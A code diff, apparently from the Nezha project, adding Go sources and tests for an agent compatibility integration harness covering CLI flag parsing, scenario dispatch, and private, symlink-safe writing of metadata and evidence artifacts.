a/integration/agentcompat/cmd/agentcompat/main.go b/integration/agentcompat/cmd/agentcompat/main.go new file mode 100644 index 00000000..cbab38c7 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/main.go @@ -0,0 +1,61 @@ +//go:build linux + +package main + +import ( + "context" + "fmt" + "io" + "os" + "os/signal" + "syscall" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +func runContext(ctx context.Context, args []string, stdout io.Writer, stderr io.Writer, now time.Time) error { + config, err := parseFlags(args, stderr) + if err != nil { + return err + } + if err := writeMetadata(ctx, config, now); err != nil { + return err + } + if len(config.Scenarios) == 1 && config.Scenarios[0].String() == contract.ScenarioMetadata && config.Fault.IsZero() { + fmt.Fprintf(stdout, "metadata written for profile %s\n", config.Profile.Name()) + return nil + } + execution, err := selectScenarioExecution(config) + if err != nil { + return err + } + scenarioContext, cancel := context.WithTimeout(ctx, config.Profile.SuiteDeadline()) + defer cancel() + output, runErr := execution.run(scenarioContext) + if err := writeScenarioEvidence(config, output, now); err != nil { + return err + } + if err := evidence.ValidateDirectory(config.Paths.ResultsDir().String()); err != nil { + return fmt.Errorf("validate scenario evidence: %w", err) + } + if runErr != nil { + return runErr + } + fmt.Fprintf(stdout, "scenario %s passed for profile %s\n", execution.name, config.Profile.Name()) + return nil +} + +func run(args []string, stdout io.Writer, stderr io.Writer, now time.Time) error { + return runContext(context.Background(), args, stdout, stderr, now) +} + +func main() { + ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM) + defer stop() + if err := runContext(ctx, os.Args[1:], os.Stdout, os.Stderr, time.Now().UTC()); err != nil { + fmt.Fprintf(os.Stderr, "agentcompat: %s\n", evidence.Redact(err.Error())) + os.Exit(2) + } +} diff --git a/integration/agentcompat/cmd/agentcompat/main_test.go b/integration/agentcompat/cmd/agentcompat/main_test.go new file mode 100644 index 00000000..c8f8e83c --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/main_test.go @@ -0,0 +1,194 @@ +//go:build linux + +package main + +import ( + "bytes" + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" +) + +func TestCLI_ParsesTypedFlagsAndWritesMetadata(t *testing.T) { + resultsDir := t.TempDir() + var stdout, stderr bytes.Buffer + err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--seed", "0x4e5a4841", "--scenario", "metadata"}, &stdout, &stderr, time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC)) + if err != nil { + t.Fatalf("run CLI: %v", err) + } + data, err := os.ReadFile(filepath.Join(resultsDir, "metadata.json")) + if err != nil { + t.Fatalf("read metadata: %v", err) + } + var metadata struct { + Profile struct { + Name string `json:"name"` + } `json:"profile"` + Seed string `json:"seed"` + } + if err := json.Unmarshal(data, &metadata); err != nil { + t.Fatalf("parse metadata: %v", err) + } + if metadata.Profile.Name != "pr-full" || metadata.Seed != "0x4e5a4841" || !strings.Contains(stdout.String(), "metadata written") { + t.Fatalf("unexpected metadata-only output: %#v %q", metadata, stdout.String()) + } +} + +func TestCLI_MetadataEvidenceValidatesAsCurrentMetadataProfile(t *testing.T) { + resultsDir := t.TempDir() + var stdout, stderr bytes.Buffer + err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--scenario", "metadata"}, &stdout, &stderr, time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC)) + if err != nil { + t.Fatalf("run metadata CLI: %v", err) + } + if err := evidence.ValidateDirectory(resultsDir); err != nil { + t.Fatalf("validate metadata evidence: %v", err) + } +} + +func TestCLI_RejectsInvalidProfileAndSeedWithoutSecretEcho(t *testing.T) { + for name, args := range map[string][]string{ + "profile": {"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "private-profile-secret", "--results-dir", t.TempDir()}, + "seed": {"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", t.TempDir(), "--seed", "not-a-seed-secret"}, + } { + t.Run(name, func(t *testing.T) { + var stdout, stderr bytes.Buffer + err := run(args, &stdout, &stderr, time.Now()) + if err == nil { + t.Fatal("invalid CLI input accepted") + } + if strings.Contains(err.Error(), "not-a-seed-secret") || strings.Contains(err.Error(), "private-profile-secret") { + t.Fatal("invalid input echoed in error") + } + }) + } +} + +func TestCLI_RejectsMissingPaths(t *testing.T) { + var stdout, stderr bytes.Buffer + err := run([]string{"--profile", "pr-full", "--scenario", "metadata"}, &stdout, &stderr, time.Now()) + if err == nil || !strings.Contains(err.Error(), "--nezha-source") { + t.Fatalf("missing source paths were not rejected: %v", err) + } +} + +func TestCLI_ParsesRepeatableScenariosAndFault(t *testing.T) { + var stderr bytes.Buffer + config, err := parseFlags([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "soak", "--results-dir", "/tmp/results", "--scenario", "metadata", "--scenario", "transfer-100mib", "--fault", "transfer-hash"}, &stderr) + if err != nil { + t.Fatalf("parse flags: %v", err) + } + if len(config.Scenarios) != 2 || config.Scenarios[0].String() != "metadata" || config.Scenarios[1].String() != "transfer-100mib" || config.Fault.String() != "transfer-hash" { + t.Fatalf("unexpected typed flags: %#v", config) + } +} + +func TestCLI_WritesMetadataBeforeRejectingUnsupportedRuntime(t *testing.T) { + resultsDir := t.TempDir() + var stdout, stderr bytes.Buffer + err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--scenario", "future-scenario"}, &stdout, &stderr, time.Now()) + if err == nil { + t.Fatal("unimplemented runtime reported success") + } + if _, statErr := os.Stat(filepath.Join(resultsDir, "metadata.json")); statErr != nil { + t.Fatalf("metadata was not written before runtime rejection: %v", statErr) + } +} + +func TestCLI_RecognizesOnlyMCPFilesystemRuntimeScenario(t *testing.T) { + var stderr bytes.Buffer + config, err := parseFlags([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", t.TempDir(), "--scenario", "mcp-filesystem"}, &stderr) + if err != nil { + t.Fatalf("parse mcp-filesystem flags: %v", err) + } + execution, err := selectScenarioExecution(config) + if err != nil || execution.name != "mcp-filesystem" { + t.Fatalf("mcp-filesystem runtime registration: name=%q err=%v", execution.name, err) + } + + config.Scenarios = append(config.Scenarios, config.Scenarios[0]) + if _, err := selectScenarioExecution(config); err == nil || !strings.Contains(err.Error(), "exactly one") { + t.Fatalf("multi-scenario runtime was unexpectedly accepted: %v", err) + } +} + +func TestCLI_SelectsTerminalRuntimeScenario(t *testing.T) { + var stderr bytes.Buffer + config, err := parseFlags([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", t.TempDir(), "--scenario", "terminal"}, &stderr) + if err != nil { + t.Fatalf("parse terminal flags: %v", err) + } + previous := runTerminalScenario + var received scenario.TerminalInput + runTerminalScenario = func(_ context.Context, input scenario.TerminalInput) (scenario.Result, error) { + received = input + return scenario.Result{Name: "terminal", Passed: true}, nil + } + t.Cleanup(func() { runTerminalScenario = previous }) + + execution, err := selectScenarioExecution(config) + + if err != nil { + t.Fatalf("select terminal scenario: %v", err) + } + if execution.name != "terminal" || execution.run == nil { + t.Fatalf("unexpected terminal execution: %#v", execution) + } + if _, err := execution.run(context.Background()); err != nil { + t.Fatalf("run terminal execution: %v", err) + } + if received.Paths.NezhaSource().String() != "/src/nezha" || received.Paths.AgentSource().String() != "/src/agent" || !received.Fault.IsZero() { + t.Fatalf("terminal input was not forwarded: %#v", received) + } +} + +func TestCLI_MetadataWriteReplacesSymlinkWithoutChangingTarget(t *testing.T) { + resultsDir := t.TempDir() + target := filepath.Join(t.TempDir(), "target") + if err := os.WriteFile(target, []byte("sentinel"), 0o644); err != nil { + t.Fatalf("write target: %v", err) + } + if err := os.Symlink(target, filepath.Join(resultsDir, "metadata.json")); err != nil { + t.Fatalf("create metadata symlink: %v", err) + } + var stdout, stderr bytes.Buffer + err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--scenario", "metadata"}, &stdout, &stderr, time.Now()) + if err != nil { + t.Fatalf("replace metadata symlink: %v", err) + } + data, readErr := os.ReadFile(target) + if readErr != nil || string(data) != "sentinel" { + t.Fatalf("symlink target changed: %q %v", data, readErr) + } + info, statErr := os.Lstat(filepath.Join(resultsDir, "metadata.json")) + if statErr != nil || !info.Mode().IsRegular() || info.Mode().Perm() != 0o600 { + t.Fatalf("metadata replacement mode=%v err=%v", info, statErr) + } +} + +func TestCLI_MetadataWriteUsesPrivatePermissions(t *testing.T) { + root := t.TempDir() + resultsDir := filepath.Join(root, "results") + var stdout, stderr bytes.Buffer + if err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--scenario", "metadata"}, &stdout, &stderr, time.Now()); err != nil { + t.Fatalf("write metadata: %v", err) + } + directoryInfo, err := os.Stat(resultsDir) + if err != nil { + t.Fatalf("stat results directory: %v", err) + } + fileInfo, err := os.Stat(filepath.Join(resultsDir, "metadata.json")) + if err != nil { + t.Fatalf("stat metadata: %v", err) + } + if directoryInfo.Mode().Perm() != 0o700 || fileInfo.Mode().Perm() != 0o600 { + t.Fatalf("unexpected permissions: directory=%o file=%o", directoryInfo.Mode().Perm(), fileInfo.Mode().Perm()) + } +} diff --git a/integration/agentcompat/cmd/agentcompat/metadata_writer.go b/integration/agentcompat/cmd/agentcompat/metadata_writer.go new file mode 100644 index 00000000..fd98c696 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/metadata_writer.go @@ -0,0 +1,46 @@ +//go:build linux + +package main + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +var metadataArtifactReady = func(context.Context) error { return nil } + +func writeMetadata(ctx context.Context, config cliConfig, now time.Time) error { + resultsDir := config.Paths.ResultsDir().String() + if info, err := os.Lstat(resultsDir); err == nil && info.Mode()&os.ModeSymlink != 0 { + return errors.New("results directory must not be a symbolic link") + } else if err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("inspect results directory: %w", err) + } + if err := os.MkdirAll(resultsDir, 0o700); err != nil { + return fmt.Errorf("create results directory: %w", err) + } + if err := os.Chmod(resultsDir, 0o700); err != nil { // #nosec G302 -- 0700 is the required private directory mode; artifacts are written 0600. + return fmt.Errorf("secure results directory: %w", err) + } + if err := prepareResultsDir(resultsDir); err != nil { + return err + } + metadata, err := evidence.NewMetadata(evidence.MetadataInput{Profile: config.Profile, Seed: config.Seed, Paths: config.Paths, ResourceBudget: contract.DefaultResourceBudget(), Scenarios: config.Scenarios, Fault: config.Fault, StartedAt: now, EvidenceFiles: evidence.EvidenceFiles()}) + if err != nil { + return fmt.Errorf("build metadata: %w", err) + } + data, err := json.MarshalIndent(metadata, "", " ") + if err != nil { + return fmt.Errorf("marshal metadata: %w", err) + } + path := filepath.Join(resultsDir, "metadata.json") + return writePrivateArtifactWithSeam(path, data, func() error { return metadataArtifactReady(ctx) }) +} diff --git a/integration/agentcompat/cmd/agentcompat/metadata_writer_test.go b/integration/agentcompat/cmd/agentcompat/metadata_writer_test.go new file mode 100644 index 00000000..fddbf767 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/metadata_writer_test.go @@ -0,0 +1,54 @@ +//go:build linux + +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestCLI_MetadataCancellationRemovesTemporaryArtifact(t *testing.T) { + resultsDir := t.TempDir() + config := testCLIConfig(t, contract.ScenarioMetadata, "") + paths, err := contract.NewPaths(config.Paths.NezhaSource().String(), config.Paths.AgentSource().String(), resultsDir) + if err != nil { + t.Fatalf("paths: %v", err) + } + config.Paths = paths + ready := make(chan struct{}) + previous := metadataArtifactReady + metadataArtifactReady = func(ctx context.Context) error { + close(ready) + <-ctx.Done() + return ctx.Err() + } + t.Cleanup(func() { metadataArtifactReady = previous }) + ctx, cancel := context.WithCancel(context.Background()) + writeDone := make(chan error, 1) + go func() { writeDone <- writeMetadata(ctx, config, time.Now()) }() + <-ready + cancel() + + if err := <-writeDone; !errors.Is(err, context.Canceled) { + t.Fatalf("metadata cancellation error=%v, want context canceled", err) + } + if _, err := os.Stat(filepath.Join(resultsDir, "metadata.json")); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("metadata final file exists after cancellation: %v", err) + } + entries, err := os.ReadDir(resultsDir) + if err != nil { + t.Fatalf("read results directory: %v", err) + } + for _, entry := range entries { + if strings.HasPrefix(entry.Name(), ".artifact-") { + t.Fatalf("metadata temporary artifact survived cancellation: %s", entry.Name()) + } + } +} diff --git a/integration/agentcompat/cmd/agentcompat/nat_wiring_test.go b/integration/agentcompat/cmd/agentcompat/nat_wiring_test.go new file mode 100644 index 00000000..bf383411 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/nat_wiring_test.go @@ -0,0 +1,28 @@ +//go:build linux + +package main + +import ( + "bytes" + "testing" +) + +func TestCLI_SelectsNATRuntimeScenario(t *testing.T) { + // Given + var stderr bytes.Buffer + config, err := parseFlags([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", t.TempDir(), "--scenario", "nat"}, &stderr) + if err != nil { + t.Fatalf("parse NAT flags: %v", err) + } + + // When + execution, err := selectScenarioExecution(config) + + // Then + if err != nil { + t.Fatalf("select NAT scenario: %v", err) + } + if execution.name != "nat" || execution.run == nil { + t.Fatalf("unexpected NAT execution: %#v", execution) + } +} diff --git a/integration/agentcompat/cmd/agentcompat/private_artifact_writer.go b/integration/agentcompat/cmd/agentcompat/private_artifact_writer.go new file mode 100644 index 00000000..54e24fd0 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/private_artifact_writer.go @@ -0,0 +1,63 @@ +//go:build linux + +package main + +import ( + "errors" + "fmt" + "os" + "path/filepath" +) + +var ( + scenarioArtifactPublished = func(string) error { return nil } + privateArtifactClose = (*os.File).Close + privateArtifactRemove = os.Remove +) + +func writePrivateArtifact(path string, data []byte) (err error) { + return writePrivateArtifactWithSeam(path, data, func() error { + return scenarioArtifactPublished(filepath.Base(path)) + }) +} + +func writePrivateArtifactWithSeam(path string, data []byte, beforeRename func() error) (err error) { + directory := filepath.Dir(path) + temporary, err := os.CreateTemp(directory, ".artifact-*") + if err != nil { + return fmt.Errorf("create temporary artifact: %w", err) + } + temporaryPath := temporary.Name() + committed := false + closed := false + defer func() { + if !committed { + if !closed { + err = errors.Join(err, privateArtifactClose(temporary)) + } + err = errors.Join(err, privateArtifactRemove(temporaryPath)) + } + }() + if err := temporary.Chmod(0o600); err != nil { + return fmt.Errorf("secure temporary artifact: %w", err) + } + if _, err := temporary.Write(append(data, '\n')); err != nil { + return fmt.Errorf("write temporary artifact: %w", err) + } + if err := temporary.Sync(); err != nil { + return fmt.Errorf("sync temporary artifact: %w", err) + } + closeErr := privateArtifactClose(temporary) + closed = true + if closeErr != nil { + return fmt.Errorf("close temporary artifact: %w", closeErr) + } + if err := beforeRename(); err != nil { + return err + } + if err := os.Rename(temporaryPath, path); err != nil { + return fmt.Errorf("rename temporary artifact: %w", err) + } + committed = true + return nil +} diff --git a/integration/agentcompat/cmd/agentcompat/reconnect_dispatch_fixture_test.go b/integration/agentcompat/cmd/agentcompat/reconnect_dispatch_fixture_test.go new file mode 100644 index 00000000..bb4d7529 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/reconnect_dispatch_fixture_test.go @@ -0,0 +1,103 @@ +//go:build linux + +package main + +import ( + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +func completeReconnectDispatchEvidence(t *testing.T) scenario.ReconnectEvidence { + t.Helper() + disconnectAt := time.Date(2026, 2, 3, 4, 5, 6, 700, time.UTC) + reconnectAt := disconnectAt.Add(7 * time.Second) + dashboardReceipt := dashboard.MCPReceiptPair{ + Task: dashboard.MCPReceiptEvent{Sequence: 51, DashboardGeneration: 12, GateGeneration: 61, ServerID: 41, TaskID: 71, TaskType: 81, Kind: dashboard.MCPReceiptTask}, + Result: dashboard.MCPReceiptEvent{Sequence: 52, DashboardGeneration: 12, GateGeneration: 61, ServerID: 41, TaskID: 71, TaskType: 81, Kind: dashboard.MCPReceiptResult}, + } + agentReceipt := dashboard.MCPReceiptPair{ + Task: dashboard.MCPReceiptEvent{Sequence: 53, DashboardGeneration: 12, GateGeneration: 62, ServerID: 41, TaskID: 72, TaskType: 82, Kind: dashboard.MCPReceiptTask}, + Result: dashboard.MCPReceiptEvent{Sequence: 54, DashboardGeneration: 12, GateGeneration: 62, ServerID: 41, TaskID: 72, TaskType: 82, Kind: dashboard.MCPReceiptResult}, + } + evidence := scenario.ReconnectEvidence{ + Fixture: scenario.ReconnectFixtureEvidence{ + Dashboard: dashboard.FixtureIdentity{ + WorkspaceRoot: "/typed/dashboard-workspace", ConfigPath: "/typed/dashboard.yaml", DatabasePath: "/typed/dashboard.sqlite", BinaryPath: "/typed/dashboard", + HTTP: workspace.ListenerIdentity{Address: "127.0.0.1:41001", Inode: 1101}, Receipt: workspace.ListenerIdentity{Address: "127.0.0.1:41002", Inode: 1102}, HTTPS: workspace.ListenerIdentity{Address: "127.0.0.1:41003", Inode: 1103}, + }, + AgentRoot: "/typed/agent-workspace", AgentConfigPath: "/typed/agent.yaml", AgentBinaryPath: "/typed/agent", + }, + Runtime: scenario.ReconnectRuntimeEvidence{ + DashboardBefore: dashboard.RuntimeIdentity{Generation: 11, PID: 2101, ProcessGroupID: 3101}, DashboardAfter: dashboard.RuntimeIdentity{Generation: 12, PID: 2102, ProcessGroupID: 3102}, + AgentBefore: agent.ProcessIdentity{Generation: 21, PID: 2201, ProcessGroupID: 3201}, AgentAfter: agent.ProcessIdentity{Generation: 22, PID: 2202, ProcessGroupID: 3202}, + StateGenerationBeforeAgentRestart: 31, StateGenerationAfterAgentRestart: 32, + }, + Identity: scenario.ReconnectIdentityEvidence{ServerID: 41, UUID: "00000000-0000-0000-0000-000000000041", DashboardConfigUnchanged: true, AgentConfigUnchanged: true, DashboardFixtureUnchanged: true, ClientsRecreated: true, BootstrapRecreated: true}, + Lifecycle: scenario.ReconnectLifecycleEvidence{ + DisconnectAt: disconnectAt, ReconnectAt: reconnectAt, ReconnectInterval: 7 * time.Second, + DashboardReceipts: []dashboard.MCPReceiptPair{dashboardReceipt}, AgentReceipts: []dashboard.MCPReceiptPair{agentReceipt}, + StaleGenerationReceipts: 0, DuplicateTaskIDs: 0, LostResultIDs: 0, OutsideRootSentinelUnchanged: true, + }, + Observation: scenario.ReconnectObservation{ServerID: 41, UUID: "00000000-0000-0000-0000-000000000041", OldGeneration: 11, NewGeneration: 12, DisconnectAt: disconnectAt, ReconnectAt: reconnectAt, TaskIDs: []uint64{71, 72}, ResultIDs: []uint64{71, 72}, PostReconnect: true, AgentRestarted: true}, + AgentCleanup: processharness.CleanupReceipt{Passed: true, Forced: false, Processes: []processharness.CleanupRecord{{Name: "agent-generation-21", PID: 2201, Forced: false, Error: ""}, {Name: "agent-generation-22", PID: 2202, Forced: false, Error: ""}}}, + DashboardCleanup: processharness.CleanupReceipt{Passed: true, Forced: false, Processes: []processharness.CleanupRecord{{Name: "dashboard-generation-11", PID: 2101, Forced: false, Error: ""}, {Name: "dashboard-generation-12", PID: 2102, Forced: false, Error: ""}}}, + } + assertCompleteReconnectDispatchEvidence(t, evidence) + return evidence +} + +func assertCompleteReconnectDispatchEvidence(t *testing.T, evidence scenario.ReconnectEvidence) { + t.Helper() + if err := evidence.Validate(); err != nil { + t.Fatalf("incomplete reconnect dispatch fixture: %v", err) + } + fixture := evidence.Fixture + if fixture.Dashboard.WorkspaceRoot == "" || fixture.Dashboard.ConfigPath == "" || fixture.Dashboard.DatabasePath == "" || fixture.Dashboard.BinaryPath == "" || fixture.AgentRoot == "" || fixture.AgentConfigPath == "" || fixture.AgentBinaryPath == "" { + t.Fatal("incomplete reconnect dispatch fixture paths") + } + for name, listener := range map[string]struct { + address string + inode uint64 + }{ + "http": {fixture.Dashboard.HTTP.Address, fixture.Dashboard.HTTP.Inode}, + "receipt": {fixture.Dashboard.Receipt.Address, fixture.Dashboard.Receipt.Inode}, + "https": {fixture.Dashboard.HTTPS.Address, fixture.Dashboard.HTTPS.Inode}, + } { + if listener.address == "" || listener.inode == 0 { + t.Fatalf("incomplete reconnect dispatch %s listener", name) + } + } + if len(evidence.Lifecycle.DashboardReceipts) == 0 || len(evidence.Lifecycle.AgentReceipts) == 0 { + t.Fatal("incomplete reconnect dispatch receipt pairs") + } + for _, pairs := range [][]dashboard.MCPReceiptPair{evidence.Lifecycle.DashboardReceipts, evidence.Lifecycle.AgentReceipts} { + for _, pair := range pairs { + if pair.Task.Sequence == 0 || pair.Task.DashboardGeneration == 0 || pair.Task.GateGeneration == 0 || pair.Task.ServerID == 0 || pair.Task.TaskID == 0 || pair.Task.TaskType == 0 || pair.Task.Kind != dashboard.MCPReceiptTask { + t.Fatalf("incomplete reconnect dispatch task receipt: %#v", pair.Task) + } + if pair.Result.Sequence == 0 || pair.Result.DashboardGeneration == 0 || pair.Result.GateGeneration == 0 || pair.Result.ServerID == 0 || pair.Result.TaskID == 0 || pair.Result.TaskType == 0 || pair.Result.Kind != dashboard.MCPReceiptResult { + t.Fatalf("incomplete reconnect dispatch result receipt: %#v", pair.Result) + } + } + } + assertCompleteCleanupReceipt(t, "agent", evidence.AgentCleanup) + assertCompleteCleanupReceipt(t, "dashboard", evidence.DashboardCleanup) +} + +func assertCompleteCleanupReceipt(t *testing.T, name string, receipt processharness.CleanupReceipt) { + t.Helper() + if !receipt.Passed || receipt.Forced || len(receipt.Processes) == 0 { + t.Fatalf("incomplete reconnect dispatch %s cleanup receipt: %#v", name, receipt) + } + for _, record := range receipt.Processes { + if record.Name == "" || record.PID == 0 || record.Forced || record.Error != "" { + t.Fatalf("incomplete reconnect dispatch %s cleanup record: %#v", name, record) + } + } +} diff --git a/integration/agentcompat/cmd/agentcompat/scenario_dispatch_test.go b/integration/agentcompat/cmd/agentcompat/scenario_dispatch_test.go new file mode 100644 index 00000000..d9756bae --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/scenario_dispatch_test.go @@ -0,0 +1,115 @@ +//go:build linux + +package main + +import ( + "context" + "errors" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" +) + +func TestCLI_RegisteredScenariosHaveExhaustiveRuntimeRouting(t *testing.T) { + for _, definition := range contract.ScenarioDefinitions() { + t.Run(definition.Name, func(t *testing.T) { + config := testCLIConfig(t, definition.Name, "") + execution, err := selectScenarioExecution(config) + if definition.Execution == contract.ScenarioExecutionMetadata { + if err == nil { + t.Fatal("metadata unexpectedly received runtime execution") + } + return + } + if err != nil { + t.Fatalf("select registered scenario: %v", err) + } + if execution.name != definition.Name || execution.run == nil { + t.Fatalf("incomplete runtime execution: %#v", execution) + } + }) + } +} + +func TestCLI_Todos11To15DispatchPropagatesTypedInputsErrorsAndOutputs(t *testing.T) { + runnerError := errors.New("injected runner error") + tests := []struct { + name string + fault string + set func(*testing.T, scenario.Result, error, *bool) + }{ + {contract.ScenarioRegistrationConfigExec, contract.FaultAgentBadSecret, func(t *testing.T, want scenario.Result, wantErr error, called *bool) { + previous := runRegistrationConfigExecScenario + runRegistrationConfigExecScenario = func(_ context.Context, input scenario.RegistrationConfigExecInput) (scenario.Result, error) { + *called = true + assertPathsAndFault(t, input.Paths, input.Fault, contract.FaultAgentBadSecret) + return want, wantErr + } + t.Cleanup(func() { runRegistrationConfigExecScenario = previous }) + }}, + {contract.ScenarioNAT, "", func(t *testing.T, want scenario.Result, wantErr error, called *bool) { + previous := runNATScenario + runNATScenario = func(_ context.Context, input scenario.NATInput) (scenario.Result, error) { + *called = true + assertPathsAndFault(t, input.Paths, input.Fault, "") + return want, wantErr + } + t.Cleanup(func() { runNATScenario = previous }) + }}, + {contract.ScenarioLegacyFM, contract.FaultAgentBadSecret, func(t *testing.T, want scenario.Result, wantErr error, called *bool) { + previous := runLegacyFMScenario + runLegacyFMScenario = func(_ context.Context, input scenario.LegacyFMInput) (scenario.Result, error) { + *called = true + assertPathsAndFault(t, input.Paths, input.Fault, contract.FaultAgentBadSecret) + return want, wantErr + } + t.Cleanup(func() { runLegacyFMScenario = previous }) + }}, + {contract.ScenarioTerminal, "", func(t *testing.T, want scenario.Result, wantErr error, called *bool) { + previous := runTerminalScenario + runTerminalScenario = func(_ context.Context, input scenario.TerminalInput) (scenario.Result, error) { + *called = true + assertPathsAndFault(t, input.Paths, input.Fault, "") + return want, wantErr + } + t.Cleanup(func() { runTerminalScenario = previous }) + }}, + {contract.ScenarioMCPFilesystem, "", func(t *testing.T, want scenario.Result, wantErr error, called *bool) { + previous := runMCPFilesystemScenario + runMCPFilesystemScenario = func(_ context.Context, input scenario.MCPFilesystemInput) (scenario.Result, error) { + *called = true + if input.Paths.NezhaSource().String() != "/src/nezha" || input.Paths.AgentSource().String() != "/src/agent" { + t.Fatalf("MCP filesystem paths=%#v", input.Paths) + } + return want, wantErr + } + t.Cleanup(func() { runMCPFilesystemScenario = previous }) + }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + want := scenario.Result{Name: test.name, Passed: false, Assertions: []scenario.Assertion{{Name: "runner assertion", Passed: false}}, Error: runnerError.Error()} + called := false + test.set(t, want, runnerError, &called) + execution, err := selectScenarioExecution(testCLIConfig(t, test.name, test.fault)) + if err != nil { + t.Fatalf("select execution: %v", err) + } + output, err := execution.run(t.Context()) + if !errors.Is(err, runnerError) { + t.Fatalf("runner error=%v", err) + } + if !called || output.Result.Name != want.Name || output.Result.Error != want.Error || output.Transfer != nil || output.Reconnect != nil { + t.Fatalf("runner propagation called=%t output=%#v", called, output) + } + }) + } +} + +func assertPathsAndFault(t *testing.T, paths contract.Paths, fault contract.Fault, wantFault string) { + t.Helper() + if paths.NezhaSource().String() != "/src/nezha" || paths.AgentSource().String() != "/src/agent" || fault.String() != wantFault { + t.Fatalf("paths/fault propagation paths=%#v fault=%q", paths, fault.String()) + } +} diff --git a/integration/agentcompat/cmd/agentcompat/scenario_evidence_writer.go b/integration/agentcompat/cmd/agentcompat/scenario_evidence_writer.go new file mode 100644 index 00000000..9ee02a74 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/scenario_evidence_writer.go @@ -0,0 +1,106 @@ +//go:build linux + +package main + +import ( + "encoding/json" + "fmt" + "path/filepath" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" +) + +type transferArtifact struct { + Scenario string `json:"scenario"` + Fault string `json:"fault,omitempty"` + Passed bool `json:"passed"` + CleanupOK bool `json:"cleanup_ok"` + Error string `json:"error,omitempty"` + Evidence scenario.TransferEvidence `json:"evidence"` +} + +type reconnectArtifact struct { + Scenario string `json:"scenario"` + Fault string `json:"fault,omitempty"` + Passed bool `json:"passed"` + CleanupOK bool `json:"cleanup_ok"` + Error string `json:"error,omitempty"` + Evidence scenario.ReconnectEvidence `json:"evidence"` +} + +func writeScenarioEvidence(config cliConfig, output scenarioExecutionOutput, now time.Time) error { + if err := output.Validate(); err != nil { + return fmt.Errorf("validate scenario execution output: %w", err) + } + result := output.Result + if !result.Passed && config.Fault.String() != "" && allAssertionsPassed(result.Assertions) { + result.Assertions = append(result.Assertions, scenario.Assertion{Name: contract.AssertionInjectedFault, Passed: false, Details: result.Error}) + } + if output.Transfer != nil { + artifact := transferArtifact{Scenario: result.Name, Fault: config.Fault.String(), Passed: result.Passed, CleanupOK: result.CleanupOK, Error: evidence.Redact(result.Error), Evidence: *output.Transfer} + if err := writeJSONArtifact(config.Paths.ResultsDir().String(), "transfer.json", artifact); err != nil { + return err + } + } + if output.Reconnect != nil { + artifact := reconnectArtifact{Scenario: result.Name, Fault: config.Fault.String(), Passed: result.Passed, CleanupOK: result.CleanupOK, Error: evidence.Redact(result.Error), Evidence: *output.Reconnect} + if err := writeJSONArtifact(config.Paths.ResultsDir().String(), "reconnect.json", artifact); err != nil { + return err + } + } + assertions := make([]evidence.Assertion, 0, len(result.Assertions)) + for _, assertion := range result.Assertions { + assertions = append(assertions, evidence.Assertion{Name: assertion.Name, Passed: assertion.Passed, Details: assertion.Details}) + } + results := evidence.Results{Profile: string(config.Profile.Name()), Passed: result.Passed, Scenarios: []evidence.ScenarioResult{{Name: result.Name, Passed: result.Passed, Assertions: assertions, Error: result.Error}}} + data, err := evidence.MarshalResults(results) + if err != nil { + return fmt.Errorf("marshal scenario results: %w", err) + } + if err := writePrivateFile(filepath.Join(config.Paths.ResultsDir().String(), "results.json"), data); err != nil { + return fmt.Errorf("write scenario results: %w", err) + } + junit, err := evidence.JUnit(results) + if err != nil { + return fmt.Errorf("marshal 